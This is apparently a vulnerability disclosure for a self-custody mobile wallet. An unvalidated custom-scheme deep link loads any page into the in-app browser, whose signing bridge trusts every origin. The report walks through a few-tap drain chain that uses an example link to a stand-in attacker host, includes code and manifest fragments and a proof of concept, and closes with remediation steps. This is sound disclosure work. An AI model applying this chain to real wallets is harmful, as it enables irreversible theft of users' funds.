Self-Custody Wallet Deep Link Loads Attacker Page With Full Signing Access, Any User Drainable in Two Taps
The Risk
Anyone who tapped a single link could lose every coin, token, and collectible in their self-custody wallet. The wallet's "open this site" link accepted any web address, loaded the attacker's page inside the wallet's own in-app browser, and gave that page full power to ask the user to sign a transaction. Two further taps on dialogs that look identical to legitimate prompts and the entire wallet was emptied. The drain happens on the blockchain, so it is permanent.
The Vulnerability
Unvalidated browse deep link
The wallet registered a custom URL scheme that included a browse/:url route. The URL parameter was forwarded directly to the wallet's in-app dApp browser with no scheme filter, no domain allowlist, and no validation. The HTTPS variant of the same route was protected with App Links auto-verification, but the custom-scheme path was not, so the operating system did not check domain ownership before routing the link to the wallet.
{'path': 'browse/:url', 'exact': true} -> screen 'AppBrowser'
<intent-filter>
<data android:scheme="wallet-scheme"/>
<!-- no android:autoVerify="true" -->
</intent-filter> Signing bridge injected into all origins
The dApp browser registered its wallet bridge with a "match all schemes" wildcard and accepted messages from every origin loaded in the WebView. The injected wallet script handled the app-ready event with no event.origin check. Any page loaded in the WebView could call:
standard:connect: connect to the wallet and retrieve the user's addresssignPersonalMessage: sign arbitrary messages with the user's private keysignAndExecuteTransaction: build and broadcast a transaction directly to the network
WebViewCompat.addWebMessageListener(
rNCWebView,
JAVASCRIPT_INTERFACE,
Set.of(ProxyConfig.MATCH_ALL_SCHEMES), // any origin accepted
this.bridgeListener
); The Attack
The full chain is three taps on a fresh install and two taps on repeat visits, because the wallet remembers approvals per origin and silently auto-reconnects.
- The attacker delivers a link, for example
wallet-scheme://browse/https://attacker.example/, by SMS, QR code, social post, or email. - The victim taps the link. The wallet opens. The attacker page loads in the dApp browser. No scam warning is shown on first visit.
- The attacker page calls
standard:connect. The wallet's connection request dialog appears. The victim taps Approve. The wallet address is exfiltrated to the attacker server. - The attacker page calls
signAndExecuteTransactionwith a transaction crafted to sweep all assets to the attacker's address. The wallet's signature dialog appears. The victim taps Sign. - The transaction is broadcast directly to the network. All native coins, tokens, and NFTs in the wallet move to the attacker. The transfer is irreversible.
On repeat visits to the same attacker domain, the wallet's silent reconnect path returns the address with no dialog, dropping the attack to a single Sign tap after the link is opened.
Confirmed capture
The proof of concept used signPersonalMessage to avoid moving real funds during testing. It captured a real wallet address and a valid base64-encoded signature on a physical device. A real attacker swaps the signing call for signAndExecuteTransaction with a programmable transaction that sweeps all assets in a single call. The same code path is reachable, the same dialogs appear.
The Impact
Any user of the wallet is one tapped link away from losing the entire contents of their wallet. The attack requires no installed malware, no special permissions, and no interaction with anything other than standard-looking wallet dialogs. Because the broadcast happens on chain, the drain cannot be reversed.
It scales trivially: one attacker domain, one deep link distributed via an airdrop announcement or social media post, every recipient with the wallet installed exposed.
Remediation
- Validate the URL parameter in the browse deep link. Reject anything outside an allowlist of trusted dApp domains, or restrict the route to the wallet's own verified HTTPS path only.
- Replace the match-all-schemes wildcard with an explicit allowlist of trusted origins for the in-app browser bridge.
- Add an origin check inside the injected wallet script before responding to any app-ready event from a page.
- Add
android:autoVerify="true"to the custom-scheme intent filter, or remove the custom-scheme browse path entirely and route through the verified HTTPS path only. - Show a one-time confirmation when an unknown origin is loaded in the dApp browser and require an explicit user action before any signing dialog can be triggered.